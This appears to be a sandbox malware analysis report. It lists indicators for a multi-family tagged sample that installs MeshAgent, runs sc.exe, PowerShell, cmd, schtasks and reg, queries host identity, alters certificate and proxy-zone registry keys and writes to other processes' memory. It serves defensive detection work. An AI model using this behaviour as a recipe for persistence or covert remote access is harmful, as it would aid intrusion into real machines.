File opened for modification	C:\Program Files\Mesh Agent\DLL\imm32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\DLL\bcrypt.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\comctl32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\exe\MeshService64.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\bcryptprimitives.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\DLL\iphlpapi.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\ntasn1.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\ncrypt.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\msvcp_win.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dbghelp.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\advapi32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\rpcrt4.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\sechost.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\ucrtbase.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\dll\gdi32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\ws2_32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\DLL\kernel32.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\symbols\dll\msvcrt.pdb	MeshAgent.exe
File opened for modification	C:\Program Files\Mesh Agent\kernel32.pdb	MeshAgent.exe

Launches sc.exe 17 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2472	sc.exe
1184	sc.exe
4876	sc.exe
2132	sc.exe
2896	sc.exe
4124	sc.exe
4672	sc.exe
1760	sc.exe
5052	sc.exe
2492	sc.exe
2732	sc.exe
4676	sc.exe
2284	sc.exe
1120	sc.exe
3156	sc.exe
2840	sc.exe
2252	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4640	powershell.exe
2112	powershell.exe
2152	powershell.exe
4724	powershell.exe
4832	powershell.exe
4416	powershell.exe

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3140	cmd.exe
1184	cmd.exe
3936	cmd.exe
1988	cmd.exe
2080	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 26 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ma_4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ma_4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ma_4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ma_4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MeshAgent.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wmic.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
4856	netstat.exe

Delays execution with timeout.exe 3 IoCs

pid	Process
2528	timeout.exe
1040	timeout.exe
3556	timeout.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3252	ipconfig.exe
4856	netstat.exe

Modifies Control Panel 12 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\SizeNESW = "C:\\Windows\\Cursors\\aero_nesw_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\SizeAll = "C:\\Windows\\Cursors\\aero_move_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\Hand = "C:\\Windows\\Cursors\\aero_link_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\Arrow = "C:\\Windows\\Cursors\\aero_arrow_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\AppStarting = "C:\\Windows\\Cursors\\aero_up_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\NWPen = "C:\\Windows\\Cursors\\aero_pen_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\No = "C:\\Windows\\Cursors\\aero_unavail_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\SizeNS = "C:\\Windows\\Cursors\\aero_ns_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\SizeWE = "C:\\Windows\\Cursors\\aero_ew_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\SizeNWSE = "C:\\Windows\\Cursors\\aero_nwse_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\UpArrow = "C:\\Windows\\Cursors\\aero_up_xl.cur"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Cursors\Wait = "C:\\Windows\\Cursors\\aero_busy_xl.ani"	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	MeshAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	MeshAgent.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	MeshAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\htafile\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htafile\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\iexplore.exe,0"	reg.exe

Modifies registry key 1 TTPs 7 IoCs

Modify Registry

pid	Process
3824	reg.exe
860	reg.exe
3884	reg.exe
1344	reg.exe
3292	reg.exe
2756	reg.exe
624	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4596	schtasks.exe

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
4416	powershell.exe
4416	powershell.exe
4640	powershell.exe
4640	powershell.exe
2112	powershell.exe
2112	powershell.exe
2152	powershell.exe
2152	powershell.exe
5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe
4724	powershell.exe
4724	powershell.exe
4724	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2692	wmic.exe
Token: SeSecurityPrivilege	2692	wmic.exe
Token: SeTakeOwnershipPrivilege	2692	wmic.exe
Token: SeLoadDriverPrivilege	2692	wmic.exe
Token: SeSystemProfilePrivilege	2692	wmic.exe
Token: SeSystemtimePrivilege	2692	wmic.exe
Token: SeProfSingleProcessPrivilege	2692	wmic.exe
Token: SeIncBasePriorityPrivilege	2692	wmic.exe
Token: SeCreatePagefilePrivilege	2692	wmic.exe
Token: SeBackupPrivilege	2692	wmic.exe
Token: SeRestorePrivilege	2692	wmic.exe
Token: SeShutdownPrivilege	2692	wmic.exe
Token: SeDebugPrivilege	2692	wmic.exe
Token: SeSystemEnvironmentPrivilege	2692	wmic.exe
Token: SeRemoteShutdownPrivilege	2692	wmic.exe
Token: SeUndockPrivilege	2692	wmic.exe
Token: SeManageVolumePrivilege	2692	wmic.exe
Token: 33	2692	wmic.exe
Token: 34	2692	wmic.exe
Token: 35	2692	wmic.exe
Token: 36	2692	wmic.exe
Token: SeIncreaseQuotaPrivilege	2692	wmic.exe
Token: SeSecurityPrivilege	2692	wmic.exe
Token: SeTakeOwnershipPrivilege	2692	wmic.exe
Token: SeLoadDriverPrivilege	2692	wmic.exe
Token: SeSystemProfilePrivilege	2692	wmic.exe
Token: SeSystemtimePrivilege	2692	wmic.exe
Token: SeProfSingleProcessPrivilege	2692	wmic.exe
Token: SeIncBasePriorityPrivilege	2692	wmic.exe
Token: SeCreatePagefilePrivilege	2692	wmic.exe
Token: SeBackupPrivilege	2692	wmic.exe
Token: SeRestorePrivilege	2692	wmic.exe
Token: SeShutdownPrivilege	2692	wmic.exe
Token: SeDebugPrivilege	2692	wmic.exe
Token: SeSystemEnvironmentPrivilege	2692	wmic.exe
Token: SeRemoteShutdownPrivilege	2692	wmic.exe
Token: SeUndockPrivilege	2692	wmic.exe
Token: SeManageVolumePrivilege	2692	wmic.exe
Token: 33	2692	wmic.exe
Token: 34	2692	wmic.exe
Token: 35	2692	wmic.exe
Token: 36	2692	wmic.exe
Token: SeIncreaseQuotaPrivilege	224	wmic.exe
Token: SeSecurityPrivilege	224	wmic.exe
Token: SeTakeOwnershipPrivilege	224	wmic.exe
Token: SeLoadDriverPrivilege	224	wmic.exe
Token: SeSystemProfilePrivilege	224	wmic.exe
Token: SeSystemtimePrivilege	224	wmic.exe
Token: SeProfSingleProcessPrivilege	224	wmic.exe
Token: SeIncBasePriorityPrivilege	224	wmic.exe
Token: SeCreatePagefilePrivilege	224	wmic.exe
Token: SeBackupPrivilege	224	wmic.exe
Token: SeRestorePrivilege	224	wmic.exe
Token: SeShutdownPrivilege	224	wmic.exe
Token: SeDebugPrivilege	224	wmic.exe
Token: SeSystemEnvironmentPrivilege	224	wmic.exe
Token: SeRemoteShutdownPrivilege	224	wmic.exe
Token: SeUndockPrivilege	224	wmic.exe
Token: SeManageVolumePrivilege	224	wmic.exe
Token: 33	224	wmic.exe
Token: 34	224	wmic.exe
Token: 35	224	wmic.exe
Token: 36	224	wmic.exe
Token: SeIncreaseQuotaPrivilege	224	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5032 wrote to memory of 3352	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	86
PID 5032 wrote to memory of 4200	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	88
PID 5032 wrote to memory of 3312	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	90
PID 5032 wrote to memory of 4776	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	92
PID 5032 wrote to memory of 3796	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	94
PID 5032 wrote to memory of 1968	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	96
PID 5032 wrote to memory of 3884	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	98
PID 5032 wrote to memory of 2980	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	100
PID 5032 wrote to memory of 1344	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	102
PID 5032 wrote to memory of 3292	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	104
PID 5032 wrote to memory of 4596	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	106
PID 5032 wrote to memory of 3768	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	108
PID 5032 wrote to memory of 2756	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	110
PID 5032 wrote to memory of 624	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	112
PID 5032 wrote to memory of 2692	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	114
PID 5032 wrote to memory of 224	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	117
PID 5032 wrote to memory of 3140	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	122
PID 5032 wrote to memory of 1184	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	124
PID 5032 wrote to memory of 3936	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	126
PID 3140 wrote to memory of 2800	3140	cmd.exe	128
PID 3140 wrote to memory of 1708	3140	cmd.exe	129
PID 3936 wrote to memory of 3252	3936	cmd.exe	130
PID 3140 wrote to memory of 1780	3140	cmd.exe	132
PID 3140 wrote to memory of 3556	3140	cmd.exe	133
PID 3140 wrote to memory of 820	3140	cmd.exe	141
PID 3140 wrote to memory of 3768	3140	cmd.exe	142
PID 3140 wrote to memory of 1588	3140	cmd.exe	143
PID 3140 wrote to memory of 2528	3140	cmd.exe	144
PID 5032 wrote to memory of 5052	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	145
PID 5032 wrote to memory of 3128	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	147
PID 5032 wrote to memory of 2260	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	149
PID 5032 wrote to memory of 3600	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	151
PID 5032 wrote to memory of 3780	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	153
PID 5032 wrote to memory of 4784	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	155
PID 4032 wrote to memory of 4416	4032	MeshAgent.exe	158
PID 5032 wrote to memory of 2252	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	160
PID 5032 wrote to memory of 1344	5032	2026-10-28_6c4c2f375a16eb4bc60867d0959d7910_akira_cobalt-strike_glassworm_icedid_qilin_quasar-rat.exe	162
